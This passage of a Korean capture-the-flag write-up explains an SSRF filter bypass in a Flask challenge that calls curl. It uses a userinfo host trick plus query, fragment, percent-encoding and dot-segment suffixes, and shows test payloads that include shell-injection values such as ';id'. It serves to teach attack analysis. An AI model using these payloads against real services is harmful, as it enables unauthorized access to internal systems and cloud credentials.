๋ง๋ณด๋‹ค curl -v ๊ฐ€ ๋น ๋ฅด๋‹ค. ๋‚ด PC ์…ธ์ด ์•„๋‹ˆ๋ผ ์ปจํ…Œ์ด๋„ˆ ์•ˆ์—์„œ ํ™•์ธํ–ˆ๋‹ค. ๋ฐฐํฌ Dockerfile ๊ณผ ๊ฐ™์€ ๋ฒ ์ด์Šค ์ด๋ฏธ์ง€๋กœ ๋งŒ๋“  ๊ฒƒ์ด๋ผ curl ๋ฒ„์ „๋„ ๋ฌธ์ œ ์„œ๋ฒ„ ์ชฝ๊ณผ ๊ฐ™์€ ๊ณ„์—ด์ด๋‹ค.

docker exec curling-local sh -c "curl --version 2>&1 | sed -n '1p'; curl -sv 'http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal?' -o /dev/null"

๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ ์•ˆ์—์„œ curl -v ๋ฅผ ๋Œ๋ฆฐ ํ™”๋ฉด. curl 7.64.0 ์ด dreamhack.io ๋ฅผ Basic ์ธ์ฆ ์‚ฌ์šฉ์ž๋ช…์œผ๋กœ ์ฝ๊ณ , ์‹ค์ œ ์—ฐ๊ฒฐ์€ 127.0.0.1 ํฌํŠธ 8000 ์œผ๋กœ ๋งบ์œผ๋ฉฐ Host ํ—ค๋”๋„ 127.0.0.1:8000 ์œผ๋กœ ๋‚˜๊ฐ„๋‹ค.
๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ ์•ˆ์—์„œ curl -v ๋ฅผ ๋Œ๋ฆฐ ํ™”๋ฉด. curl 7.64.0 ์ด dreamhack.io ๋ฅผ Basic ์ธ์ฆ ์‚ฌ์šฉ์ž๋ช…์œผ๋กœ ์ฝ๊ณ , ์‹ค์ œ ์—ฐ๊ฒฐ์€ 127.0.0.1 ํฌํŠธ 8000 ์œผ๋กœ ๋งบ์œผ๋ฉฐ Host ํ—ค๋”๋„ 127.0.0.1:8000 ์œผ๋กœ ๋‚˜๊ฐ„๋‹ค.

์ฝ์„ ์ค„์€ ์…‹์ด๋‹ค.

์ถœ๋ ฅ ์ค„๋œป
Connected to 127.0.0.1 (127.0.0.1) port 8000์‹ค์ œ ๋ชฉ์ ์ง€๋Š” ๋ฃจํ”„๋ฐฑ์ด๋‹ค
Server auth using Basic with user 'dreamhack.io'ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ์— ์ ํžŒ ํ˜ธ์ŠคํŠธ๋ช…์€ ๊ทธ๋ƒฅ ์‚ฌ์šฉ์ž ์ด๋ฆ„ ์ทจ๊ธ‰
Host: 127.0.0.1:8000์„œ๋ฒ„๊ฐ€ ๋ฐ›๋Š” Host ํ—ค๋”๋„ ๋ฃจํ”„๋ฐฑ

dreamhack.io ๋กœ๋Š” DNS ์กฐํšŒ์กฐ์ฐจ ํ•˜์ง€ ์•Š๋Š”๋‹ค. ๊ฒ€์‚ฌ๊ธฐ ์ž…์žฅ์—์„œ๋งŒ ํ˜ธ์ŠคํŠธ์ผ ๋ฟ, curl ์—๊ฒŒ๋Š” ์ธ์ฆ ์ •๋ณด๋‹ค.


๐Ÿšง ๊ด€๋ฌธ โ‘ก โ€” ๋ฌธ์ž์—ด ๋๋งŒ ๋ณด๋Š” ์ฐจ๋‹จ

๊ด€๋ฌธ โ‘  ์„ ํ†ต๊ณผํ•œ URL ์„ ๊ทธ๋Œ€๋กœ ๋„ฃ์œผ๋ฉด ์ด๋ฒˆ์—” ๋‹ค๋ฅธ ๋ฉ”์‹œ์ง€๊ฐ€ ๋‚˜์˜จ๋‹ค.

userinfo ์šฐํšŒ๋งŒ ์ ์šฉํ•œ payload ๋ฅผ ์ „์†กํ•œ ๊ฒฐ๊ณผ. Not Allowed endpoint ๋ผ๋Š” JSON ์ด ๋Œ์•„์™”๋‹ค.
userinfo ์šฐํšŒ๋งŒ ์ ์šฉํ•œ payload ๋ฅผ ์ „์†กํ•œ ๊ฒฐ๊ณผ. Not Allowed endpoint ๋ผ๋Š” JSON ์ด ๋Œ์•„์™”๋‹ค.

๋‘ ๋ฒˆ์งธ ๊ฒ€์‚ฌ์— ๊ฑธ๋ ธ๋‹ค.

if url.endswith('/test/internal'):
    return {'result': False, 'msg': 'Not Allowed endpoint'}

์ด๊ฒƒ๋„ URL ์„ ํŒŒ์‹ฑํ•˜์ง€ ์•Š๋Š”๋‹ค. ๋‚ด๊ฐ€ ๋ณด๋‚ธ ๋ฌธ์ž์—ด์˜ ๋งˆ์ง€๋ง‰ 14๊ธ€์ž๋งŒ ๋ณธ๋‹ค.

๊ทธ๋Ÿฌ๋ฉด ์กฐ๊ฑด์€ ํ•˜๋‚˜๋กœ ์ •๋ฆฌ๋œ๋‹ค. curl ์ด ๋ณด๋‚ด๋Š” ์š”์ฒญ์˜ ๊ฒฝ๋กœ๋Š” /api/v1/test/internal ๋กœ ์œ ์ง€ํ•˜๋ฉด์„œ, ๋‚ด๊ฐ€ ํผ์— ์ ๋Š” ๋ฌธ์ž์—ด์€ /test/internal ๋กœ ๋๋‚˜์ง€ ์•Š๊ฒŒ ๋งŒ๋“ค๋ฉด ๋œ๋‹ค.

๋ฌธ์ž์—ด์˜ ๋๊ณผ ์š”์ฒญ์˜ ๊ฒฝ๋กœ๊ฐ€ ์–ด๊ธ‹๋‚˜๋Š” ์ง€์ ์„ ์ฐพ๋Š” ๋ฌธ์ œ๊ฐ€ ๋๋‹ค.


๐Ÿงฑ ๋ฐฐ๊ฒฝ โ€” SSRF ๋Š” "๋ˆ„๊ฐ€ ์š”์ฒญํ–ˆ๋Š”๊ฐ€"๋ฅผ ๋ฐ”๊พธ๋Š” ๊ณต๊ฒฉ์ด๋‹ค

์ž ๊น ์ •๋ฆฌํ•˜๊ณ  ๊ฐ„๋‹ค. ์ด ๋ฌธ์ œ๊ฐ€ ์™œ SSRF ์ธ์ง€, ๊ทธ๋ฆฌ๊ณ  ์™œ ์ด ๊ตฌ์กฐ๊ฐ€ ํ”ํ•œ์ง€์— ๋Œ€ํ•ด์„œ๋‹ค.

Server-Side Request Forgery ๋Š” ์ด๋ฆ„ ๊ทธ๋Œ€๋กœ ์„œ๋ฒ„๊ฐ€ ๋Œ€์‹  ์š”์ฒญ์„ ๋ณด๋‚ด๊ฒŒ ๋งŒ๋“œ๋Š” ๊ณต๊ฒฉ์ด๋‹ค. URL ๋ฏธ๋ฆฌ๋ณด๊ธฐ, ์›นํ›… ๋“ฑ๋ก, ์ด๋ฏธ์ง€ ํ”„๋ก์‹œ, ํ—ฌ์Šค์ฒดํฌ โ€” ์‚ฌ์šฉ์ž๊ฐ€ ์ค€ ์ฃผ์†Œ๋กœ ์„œ๋ฒ„๊ฐ€ ๋‚˜๊ฐ€๋Š” ๊ธฐ๋Šฅ์€ ์–ด๋””์—๋‚˜ ์žˆ๋‹ค.

์ด๊ฒŒ ์™œ ๋ฌธ์ œ๊ฐ€ ๋˜๋ƒ๋ฉด, ๋„คํŠธ์›Œํฌ ์ƒ ์œ„์น˜๊ฐ€ ๊ณง ๊ถŒํ•œ์œผ๋กœ ์“ฐ์ด๋Š” ๊ณณ์ด ๋งŽ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

๋‚ด๋ถ€๋ง ๊ด€๋ฆฌ ํŽ˜์ด์ง€๋Š” "์–ด์ฐจํ”ผ ๋ฐ–์—์„œ ๋ชป ๋“ค์–ด์˜ค๋‹ˆ๊นŒ" ์ธ์ฆ์ด ์–‡๋‹ค. ํด๋ผ์šฐ๋“œ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ์„œ๋น„์Šค(169.254.169.254)๋Š” ์ธ์Šคํ„ด์Šค ์•ˆ์—์„œ ๋ถ€๋ฅด๋ฉด ์ž๊ฒฉ์ฆ๋ช…์„ ์ค€๋‹ค. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋‚˜ ์บ์‹œ ์„œ๋ฒ„๋Š” ์‚ฌ์„ค ๋Œ€์—ญ์—์„œ๋งŒ ์—ด๋ ค ์žˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์ง์ ‘ ๊ทธ ์ฃผ์†Œ๋กœ ๋ชป ๊ฐ€๋”๋ผ๋„, ๊ทธ ์•ˆ์— ์žˆ๋Š” ์„œ๋ฒ„๊ฐ€ ๋Œ€์‹  ๊ฐ€ ์ฃผ๋ฉด ๊ฒฐ๊ณผ๋Š” ๊ฐ™๋‹ค. ์š”์ฒญ์˜ ์ถœ์ฒ˜๊ฐ€ ๊ณต๊ฒฉ์ž์—์„œ ์„œ๋ฒ„๋กœ ๋ฐ”๋€Œ๋Š” ๊ฒƒ โ€” ๊ทธ๊ฒŒ SSRF ๊ฐ€ ํŒŒ๋Š” ์ง€์ ์ด๋‹ค.

์ด ๋ฌธ์ œ๋Š” ๊ทธ ๊ตฌ๋„๋ฅผ ์ตœ์†Œ ๋‹จ์œ„๋กœ ์ค„์—ฌ ๋†“์•˜๋‹ค. "๋‚ด๋ถ€"๊ฐ€ ์‚ฌ์„ค ๋Œ€์—ญ๋„ ํด๋ผ์šฐ๋“œ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋„ ์•„๋‹ˆ๊ณ  ๊ทธ๋ƒฅ 127.0.0.1 ์ด๊ณ , ๊ทธ ์•ˆ์— ์žˆ๋Š” ์ž์›์ด ํ”Œ๋ž˜๊ทธ๋‹ค.

ip = request.remote_addr
if not ip == '127.0.0.1':
    return {'result': False, 'msg': 'Only local access is allowed'}

์ด ์„ธ ์ค„์ด "์œ„์น˜ = ๊ถŒํ•œ" ๊ทธ ์ž์ฒด๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๊ฐ™์€ ํ”„๋กœ์„ธ์Šค ์•ˆ์— ์ž„์˜ URL ์„ ๋Œ€์‹  ๊ธ์–ด ์ฃผ๋Š” ๊ธฐ๋Šฅ์ด ๋ถ™์–ด ์žˆ์œผ๋‹ˆ, ์œ„์น˜๋Š” ๋นŒ๋ ค ์“ธ ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์ด ๋œ๋‹ค.

๊ทธ๋ž˜์„œ SSRF ๋ฌธ์ œ๋ฅผ ๋งŒ๋‚˜๋ฉด ๋ณด๋Š” ์ˆœ์„œ๊ฐ€ ์ •ํ•ด์ ธ ์žˆ๋‹ค.

์ฒซ์งธ, ์„œ๋ฒ„๊ฐ€ ๋Œ€์‹  ์š”์ฒญ์„ ๋ณด๋‚ด๋Š” ์ง€์ ์ด ์–ด๋””์ธ๊ฐ€. ๋‘˜์งธ, ๋ชฉ์ ์ง€๋ฅผ ์–ผ๋งˆ๋‚˜ ๋‚ด ๋งˆ์Œ๋Œ€๋กœ ์ •ํ•  ์ˆ˜ ์žˆ๋‚˜. ์…‹์งธ, ๊ทธ ์„œ๋ฒ„ ์œ„์น˜์—์„œ๋งŒ ์—ด๋ฆฌ๋Š” ์ž์›์ด ๋ฌด์—‡์ธ๊ฐ€.

์ด ๋ฌธ์ œ๋Š” ์…‹์ด ์ „๋ถ€ ํ•œ ํŒŒ์ผ ์•ˆ์— ์žˆ๋‹ค. 46์ค„์งœ๋ฆฌ ๊ต๋ณด์žฌ์ธ ์…ˆ์ด๋‹ค.


๐Ÿ› ์‚ฝ์งˆ โ€” ๋จผ์ € ์•„๋‹Œ ๊ธธ๋“ค์„ ์ง€์› ๋‹ค

โ–ถ๐Ÿ•ณ๏ธ ์‚ฝ์งˆ 1 โ€” ์…ธ ๋ฉ”ํƒ€๋ฌธ์ž๋ถ€ํ„ฐ ๋„ฃ์–ด ๋ดค๋‹ค

subprocess ๋กœ curl ์„ ๋ถ€๋ฅธ๋‹ค๋Š” ๊ฑธ ๋ณด๊ณ  ๋ฐ˜์‚ฌ์ ์œผ๋กœ ๋ช…๋ น ์ฃผ์ž…๋ถ€ํ„ฐ ์ฐ”๋ €๋‹ค. url=http://dreamhack.io/;id ๊ฐ™์€ ๊ฒƒ๋“ค์ด๋‹ค.

๋Œ์•„์˜จ ๊ฑด id ๊ฒฐ๊ณผ๊ฐ€ ์•„๋‹ˆ๋ผ dreamhack.io ์˜ 301 ํŽ˜์ด์ง€์˜€๋‹ค.

๋‹น์—ฐํ•˜๋‹ค. ํ˜ธ์ถœ์ด ์ด๋ ‡๊ฒŒ ์ƒ๊ฒผ๋‹ค.

run(["curl", f"{url}"], capture_output=True, text=True, timeout=1)

๋ฆฌ์ŠคํŠธ๋ฅผ ๋„˜๊ธฐ๋ฉด shell=False ๊ฐ€ ๊ธฐ๋ณธ์ด๊ณ , execve ๋กœ ๋ฐ”๋กœ ์‹คํ–‰๋œ๋‹ค. ; ๋„ $( ) ๋„ ์…ธ์„ ๋งŒ๋‚˜์ง€ ๋ชปํ•˜๋‹ˆ ๊ทธ๋ƒฅ URL ๋ฌธ์ž์—ด์˜ ์ผ๋ถ€๋‹ค.

์ธ์ž ์ฃผ์ž…(-o ๊ฐ™์€ ์˜ต์…˜์„ ๋ผ์›Œ ๋„ฃ๋Š” ๊ฒƒ)๋„ ์•ˆ ๋œ๋‹ค. URL ์ „์ฒด๊ฐ€ argv[1] ํ•˜๋‚˜๋กœ ๋“ค์–ด๊ฐ€๊ณ , ๊ทธ๋งˆ์ €๋„ http://dreamhack.io ๋กœ ์‹œ์ž‘ํ•ด์•ผ ํ•œ๋‹ค.

โ–ถ๐Ÿ•ณ๏ธ ์‚ฝ์งˆ 2 โ€” ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ 2๋ฒˆ์งธ ํ˜ธ์ŠคํŠธ๊ฐ€ ์˜คํžˆ๋ ค ๋ง‰ํ˜”๋‹ค

ALLOWED_HOSTS ์— tools.dreamhack.io ๊ฐ€ ์ ํ˜€ ์žˆ๊ธธ๋ž˜ ๊ทธ์ชฝ์— ์˜คํ”ˆ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋‚˜ ํ”„๋ก์‹œ ๊ธฐ๋Šฅ์ด ์žˆ๋Š”์ง€ ์ฐพ์•„๋ณด๋ ค ํ–ˆ๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ๊ทธ ํ˜ธ์ŠคํŠธ๋กœ ์š”์ฒญํ•˜๋ฉด Not Allowed host ๊ฐ€ ๋Œ์•„์˜จ๋‹ค. ํ—ˆ์šฉ ๋ชฉ๋ก์— ์ ํžŒ ํ˜ธ์ŠคํŠธ๊ฐ€ ํ—ˆ์šฉ๋˜์ง€ ์•Š๋Š”๋‹ค.

๊ด€๋ฌธ โ‘  ์˜ return ์œ„์น˜ ๋•Œ๋ฌธ์ด๋‹ค. ๋ฃจํ”„๊ฐ€ ์ฒซ ์›์†Œ์—์„œ ๋๋‚˜๋‹ˆ 2๋ฒˆ์งธ ์›์†Œ๋Š” ์ฝ”๋“œ์— ์ ํ˜€๋งŒ ์žˆ๊ณ  ์‹คํ–‰๋˜์ง€ ์•Š๋Š”๋‹ค.

๋ฒ„๊ทธ๊ฐ€ ๋ฐฉ์–ด๋ฅผ ๋šซ๋Š” ๋ฐ ์“ฐ์ด๊ธฐ ์ „์—, ๋จผ์ € ์ •์ƒ ๊ธฐ๋Šฅ์„ ๋ง๊ฐ€๋œจ๋ฆฌ๊ณ  ์žˆ์—ˆ๋˜ ์…ˆ์ด๋‹ค. ์ด๊ฑธ ํ™•์ธํ•˜๊ณ  ๋‚˜์„œ์•ผ "์ ํžŒ ๊ทœ์น™"์ด ์•„๋‹ˆ๋ผ "์‹คํ–‰๋˜๋Š” ๊ทœ์น™"๋งŒ ๋ณด๊ธฐ๋กœ ํ–ˆ๋‹ค.

โ–ถ๐Ÿ•ณ๏ธ ์‚ฝ์งˆ 3 โ€” ๊ฒฝ๋กœ ๋’ค์— ์•„๋ฌด๊ฑฐ๋‚˜ ๋ถ™์ด๋ฉด ๋  ์ค„ ์•Œ์•˜๋‹ค

endswith ๋ฅผ ๊นจ๋ ค๊ณ  ์†์— ์žกํžˆ๋Š” ๋Œ€๋กœ ๋ถ™์—ฌ ๋ดค๋Š”๋ฐ, ์ ˆ๋ฐ˜์€ ์•ˆ ๋จน์—ˆ๋‹ค.

# tools_deadends.py โ€” ๋ง‰ํžŒ ์‹œ๋„๋“ค๋งŒ ๋ชจ์•„ ์‘๋‹ต์„ ํ™•์ธํ•œ๋‹ค
CASES = [
    ("์…ธ ๋ฉ”ํƒ€๋ฌธ์ž ์ฃผ์ž…",      "http://dreamhack.io/;id"),
    ("์…ธ ์ปค๋งจ๋“œ ์น˜ํ™˜",        "http://dreamhack.io/$(id)"),
    ("ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ 2๋ฒˆ์งธ",    "http://tools.dreamhack.io/"),
    ("๋์— ์Šฌ๋ž˜์‹œ",           "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal/"),
    ("๋์— ๊ณต๋ฐฑ",             "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal "),
    ("์Šฌ๋ž˜์‹œ ์ค‘๋ณต",           "http://dreamhack.io@127.0.0.1:8000/api/v1//test/internal"),
]
 
for label, url in CASES:
    try:
        msg = requests.post(BASE, data={"url": url}, timeout=10).json().get("msg", "")
    except Exception as e:                                  # noqa: BLE001
        msg = f"<{e.__class__.__name__}>"
    msg = " ".join(str(msg).split())
    print(f"  {pad(label, 22)}  {msg[:64]}")

tools_deadends.py ์‹คํ–‰ ๊ฒฐ๊ณผ. ์…ธ ์ฃผ์ž…์€ 301 ํŽ˜์ด์ง€๊ฐ€ ๋Œ์•„์˜ค๊ณ , ๋ ์Šฌ๋ž˜์‹œ๋Š” Flask 404, ๋ ๊ณต๋ฐฑ๊ณผ ์Šฌ๋ž˜์‹œ ์ค‘๋ณต์€ ์—ฌ์ „ํžˆ Not Allowed endpoint ๋กœ ๋ง‰ํžŒ๋‹ค.
tools_deadends.py ์‹คํ–‰ ๊ฒฐ๊ณผ. ์…ธ ์ฃผ์ž…์€ 301 ํŽ˜์ด์ง€๊ฐ€ ๋Œ์•„์˜ค๊ณ , ๋ ์Šฌ๋ž˜์‹œ๋Š” Flask 404, ๋ ๊ณต๋ฐฑ๊ณผ ์Šฌ๋ž˜์‹œ ์ค‘๋ณต์€ ์—ฌ์ „ํžˆ Not Allowed endpoint ๋กœ ๋ง‰ํžŒ๋‹ค.

ํ•˜๋‚˜์”ฉ ์ด์œ ๊ฐ€ ๋‹ค๋ฅด๋‹ค.

๋์— ์Šฌ๋ž˜์‹œ โ€” ๊ฒ€์‚ฌ๋Š” ํ†ต๊ณผํ•œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ Flask ๊ฐ€ 404 ๋ฅผ ๋‚ธ๋‹ค. @app.route('/api/v1/test/internal') ์ฒ˜๋Ÿผ ์Šฌ๋ž˜์‹œ ์—†์ด ๋“ฑ๋ก๋œ ๊ทœ์น™์€ ์Šฌ๋ž˜์‹œ๊ฐ€ ๋ถ™์€ ๊ฒฝ๋กœ๋ฅผ ๊ฐ™์€ ๊ฒƒ์œผ๋กœ ์ณ ์ฃผ์ง€ ์•Š๋Š”๋‹ค. ๊ฒ€์‚ฌ๋ฅผ ์ง€๋‚˜๊ณ  ๋ผ์šฐํŒ…์—์„œ ์ฃฝ์—ˆ๋‹ค.

๋์— ๊ณต๋ฐฑ โ€” ์• ์ดˆ์— ์„œ๋ฒ„๊ฐ€ ๋จผ์ € ์ง€์šด๋‹ค. ์ฒซ ์ค„์ด request.form["url"].strip() ์ด๋‹ค. ๊ณต๋ฐฑ์„ ๋ถ™์—ฌ ๋ดค์ž endswith ๊ฒ€์‚ฌ ์‹œ์ ์—” ์ด๋ฏธ ์—†๋‹ค.

์Šฌ๋ž˜์‹œ ์ค‘๋ณต โ€” /api/v1//test/internal ์€ ์—ฌ์ „ํžˆ /test/internal ๋กœ ๋๋‚œ๋‹ค. ์•ž์ชฝ์„ ๊ฑด๋“œ๋ ค ๋ด์•ผ ๊ฒ€์‚ฌ๋Š” ๋’ค๋งŒ ๋ณธ๋‹ค.

์—ฌ๊ธฐ์„œ ๋ฐฉํ–ฅ์ด ์žกํ˜”๋‹ค. ํ•„์š”ํ•œ ๊ฑด "๊ฒฝ๋กœ ๋’ค์— ๋ญ”๊ฐ€ ๋ถ™์ด๊ธฐ"๊ฐ€ ์•„๋‹ˆ๋ผ ์š”์ฒญ ๊ฒฝ๋กœ๋Š” ๊ทธ๋Œ€๋กœ ๋‘๋ฉด์„œ ๋ฌธ์ž์—ด ๋๋งŒ ๋‹ค๋ฅด๊ฒŒ ๋งŒ๋“œ๋Š” ๋ฌธ๋ฒ•์ด๋‹ค.


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ๋ฌธ์ž์—ด ๊ฒ€์‚ฌ์™€ URL ํŒŒ์„œ ์‚ฌ์ด์˜ ํ‹ˆ

๋‘ ๊ด€๋ฌธ ๋ชจ๋‘ url ์„ ๋ฌธ์ž์—ด๋กœ๋งŒ ๋‹ค๋ฃฌ๋‹ค. ์•ž 20๊ธ€์ž์™€ ๋’ค 14๊ธ€์ž๋ฅผ ๋ณผ ๋ฟ์ด๋‹ค. ๋ฐ˜๋ฉด ์‹ค์ œ ์š”์ฒญ์„ ๋งŒ๋“œ๋Š” curl ์€ ๊ทธ ๋ฌธ์ž์—ด์„ URL ๋กœ ํŒŒ์‹ฑํ•œ๋‹ค.

๊ทธ ์‚ฌ์ด์— ๋‚„ ์ˆ˜ ์žˆ๋Š” ๋ฌธ๋ฒ•์ด ์„ธ ๊ฐ€์ง€ ์žˆ์—ˆ๋‹ค.

๊ณต๊ฒฉ ํ๋ฆ„๋„. ํ•˜๋‚˜์˜ url ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์ ‘๋‘์‚ฌ ๊ฒ€์‚ฌ์™€ endswith ๊ฒ€์‚ฌ๋ฅผ ํ•จ๊ป˜ ํ†ต๊ณผํ•œ ๋’ค, curl ์ด userinfo ๋ฅผ ์‚ฌ์šฉ์ž๋ช…์œผ๋กœ ๋–ผ์–ด๋‚ด๊ณ  127.0.0.1 ๋กœ ์ ‘์†ํ•ด remote_addr ๊ฒ€์‚ฌ๊นŒ์ง€ ๋„˜์–ด ํ”Œ๋ž˜๊ทธ๋ฅผ ๋ฐ›์•„ ์˜จ๋‹ค.
๊ณต๊ฒฉ ํ๋ฆ„๋„. ํ•˜๋‚˜์˜ url ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์ ‘๋‘์‚ฌ ๊ฒ€์‚ฌ์™€ endswith ๊ฒ€์‚ฌ๋ฅผ ํ•จ๊ป˜ ํ†ต๊ณผํ•œ ๋’ค, curl ์ด userinfo ๋ฅผ ์‚ฌ์šฉ์ž๋ช…์œผ๋กœ ๋–ผ์–ด๋‚ด๊ณ  127.0.0.1 ๋กœ ์ ‘์†ํ•ด remote_addr ๊ฒ€์‚ฌ๊นŒ์ง€ ๋„˜์–ด ํ”Œ๋ž˜๊ทธ๋ฅผ ๋ฐ›์•„ ์˜จ๋‹ค.

๋ถ™์ด๋Š” ๊ฒƒ๊ฒ€์‚ฌ๊ธฐ๊ฐ€ ๋ณด๋Š” ๋ฌธ์ž์—ด ๋์„œ๋ฒ„๊ฐ€ ๋ผ์šฐํŒ…ํ•˜๋Š” ๊ฒฝ๋กœํ†ต๊ณผ ์ด์œ 
?...internal?/api/v1/test/internal? ๋’ค๋Š” ์ฟผ๋ฆฌ์ŠคํŠธ๋ง์ด๋ผ ๊ฒฝ๋กœ์—์„œ ๋ถ„๋ฆฌ๋œ๋‹ค
#...internal#/api/v1/test/internalํ”„๋ž˜๊ทธ๋จผํŠธ๋Š” ์„œ๋ฒ„๋กœ ์ „์†ก๋˜์ง€ ์•Š๋Š”๋‹ค
%6C...interna%6C/api/v1/test/internalcurl ์€ ๊ทธ๋Œ€๋กœ ๋ณด๋‚ด๊ณ  Werkzeug ๊ฐ€ ๋””์ฝ”๋”ฉํ•œ๋‹ค
/./...test/./internal/api/v1/test/internalcurl ์ด ์ƒ๋Œ€ ๊ฒฝ๋กœ ์„ธ๊ทธ๋จผํŠธ๋ฅผ ์ •๊ทœํ™”ํ•œ๋‹ค

๋„ค ๊ฐ€์ง€๊ฐ€ ๋‹ค ํ†ตํ•˜๋Š”๋ฐ ์ด์œ ๋Š” ์ „๋ถ€ ๋‹ค๋ฅด๋‹ค. ์–ด๋””์„œ ๊ฒฝ๋กœ๊ฐ€ ์ •๊ทœํ™”๋˜๋Š”์ง€๊ฐ€ ๊ฐ๊ฐ ๋‹ค๋ฅด๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

# ์€ curl ์ด ์•„์˜ˆ ์ž˜๋ผ ๋ฒ„๋ฆฐ๋‹ค. ํ”„๋ž˜๊ทธ๋จผํŠธ๋Š” ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์“ฐ๋Š” ์ •๋ณด๋ผ ์›๋ž˜ ์ „์†ก ๋Œ€์ƒ์ด ์•„๋‹ˆ๋‹ค. /./ ๋„ curl ์ด ๋ณด๋‚ด๊ธฐ ์ „์— ์ •๋ฆฌํ•œ๋‹ค. ์ƒ๋Œ€ ๊ฒฝ๋กœ ์„ธ๊ทธ๋จผํŠธ๋ฅผ ์ง€์šฐ๋Š” ๊ฑด RFC 3986 ์˜ ์ •๊ทœํ™” ์ ˆ์ฐจ๋‹ค.

%6C ์€ ์„ฑ๊ฒฉ์ด ๋‹ค๋ฅด๋‹ค. curl ์€ ์ด๋ฏธ ์ธ์ฝ”๋”ฉ๋œ ๊ฒฝ๋กœ๋ฅผ ๋‹ค์‹œ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๊ณ  ๊ทธ๋Œ€๋กœ ์‹ค์–ด ๋ณด๋‚ธ๋‹ค. ๊ทธ๋ž˜์„œ ์š”์ฒญ์ค„์— /api/v1/test/interna%6C ์ด ๊ทธ๋Œ€๋กœ ๋‚˜๊ฐ„๋‹ค. ํ‘ธ๋Š” ๊ฑด ๋ฐ›๋Š” ์ชฝ์ด๋‹ค. Werkzeug ๊ฐ€ PATH_INFO ๋ฅผ ๋งŒ๋“ค๋ฉด์„œ ํผ์„ผํŠธ ์ธ์ฝ”๋”ฉ์„ ๋””์ฝ”๋”ฉํ•˜๊ณ , ๊ทธ ๊ฒฐ๊ณผ์ธ /api/v1/test/internal ๋กœ ๋ผ์šฐํŒ…ํ•œ๋‹ค.

? ๋Š” ์•„๋ฌด๋„ ์†๋Œ€์ง€ ์•Š๋Š”๋‹ค โ€” ๊ทธ๋ƒฅ HTTP ์š”์ฒญ์ค„์—์„œ ๊ฒฝ๋กœ์™€ ์ฟผ๋ฆฌ๋ฅผ ๊ฐ€๋ฅด๋Š” ๊ตฌ๋ถ„์ž์ผ ๋ฟ์ด๋‹ค.

๋„ค ๊ฒฝ์šฐ ๋ชจ๋‘ "๊ฒฝ๋กœ๋ฅผ ๋ˆ„๊ฐ€ ์–ด๋А ์‹œ์ ์— ์ •๊ทœํ™”ํ•˜๋А๋ƒ"๊ฐ€ ๋‹ค๋ฅด๋‹ค. curl ์ด ๋ณด๋‚ด๊ธฐ ์ „์— ํ•˜๊ธฐ๋„ ํ•˜๊ณ , ์„œ๋ฒ„๊ฐ€ ๋ฐ›์€ ๋’ค์— ํ•˜๊ธฐ๋„ ํ•œ๋‹ค. ๊ฒ€์‚ฌ๋Š” ๊ทธ ์ „์— ๋๋‚˜ ์žˆ์œผ๋‹ˆ ์–ด๋А ์ชฝ์ด๋“  ๊ฒ€์‚ฌ๊ธฐ๋Š” ์ตœ์ข… ๊ฒฝ๋กœ๋ฅผ ๋ณธ ์ ์ด ์—†๋‹ค.

์—ฌ๊ธฐ์„œ ํ•œ ๊ฐ€์ง€ ํ™•์ธํ•  ๊ฒŒ ์žˆ์—ˆ๋‹ค. ๋‚ด ์ž‘์—… PC ์˜ curl 8.14.1 ์€ ๋นˆ ์ฟผ๋ฆฌ์ŠคํŠธ๋ง(? ๋งŒ ์žˆ๊ณ  ๋’ค๊ฐ€ ์—†๋Š” ๊ฒฝ์šฐ)์„ ์š”์ฒญ์ค„์—์„œ ์•„์˜ˆ ๋นผ๊ณ  ๋ณด๋‚ธ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ python:3.10-slim-buster ์— ๋”ธ๋ ค ์˜ค๋Š” curl ์€ 7.64.0 ์ด๋ผ ? ๋ฅผ ๊ทธ๋Œ€๋กœ ์‹ค์–ด ๋ณด๋‚ธ๋‹ค.

์•ž์˜ curl -v ์บก์ณ๋ฅผ ๋‚ด ์…ธ์ด ์•„๋‹ˆ๋ผ ์ปจํ…Œ์ด๋„ˆ ์•ˆ์—์„œ ์ฐ์€ ๊ฒƒ๋„ ๊ทธ๋ž˜์„œ๋‹ค. GET /api/v1/test/internal? HTTP/1.1 ๋กœ ๋‚˜๊ฐ€๋Š”๋ฐ๋„ ์šฐํšŒ๊ฐ€ ์„ฑ๋ฆฝํ•œ๋‹ค. ์„œ๋ฒ„๊ฐ€ ? ๋ฅผ ๋งŒ๋‚˜๋ฉด ๊ทธ ์•ž๊นŒ์ง€๋ฅผ ๊ฒฝ๋กœ๋กœ ์ž˜๋ผ ๋ผ์šฐํŒ…ํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

์ฆ‰ ์ด ์šฐํšŒ๋Š” curl ๋ฒ„์ „์— ๊ธฐ๋Œ€์ง€ ์•Š๋Š”๋‹ค. ํ™•์ธํ•ด ๋‘์ง€ ์•Š์•˜์œผ๋ฉด "๋‚ด ํ™˜๊ฒฝ์—์„œ๋งŒ ๋˜๋Š” ๊ฒƒ"์„ ์›๋ฆฌ๋กœ ์ฐฉ๊ฐํ•  ๋ป”ํ–ˆ๋‹ค.

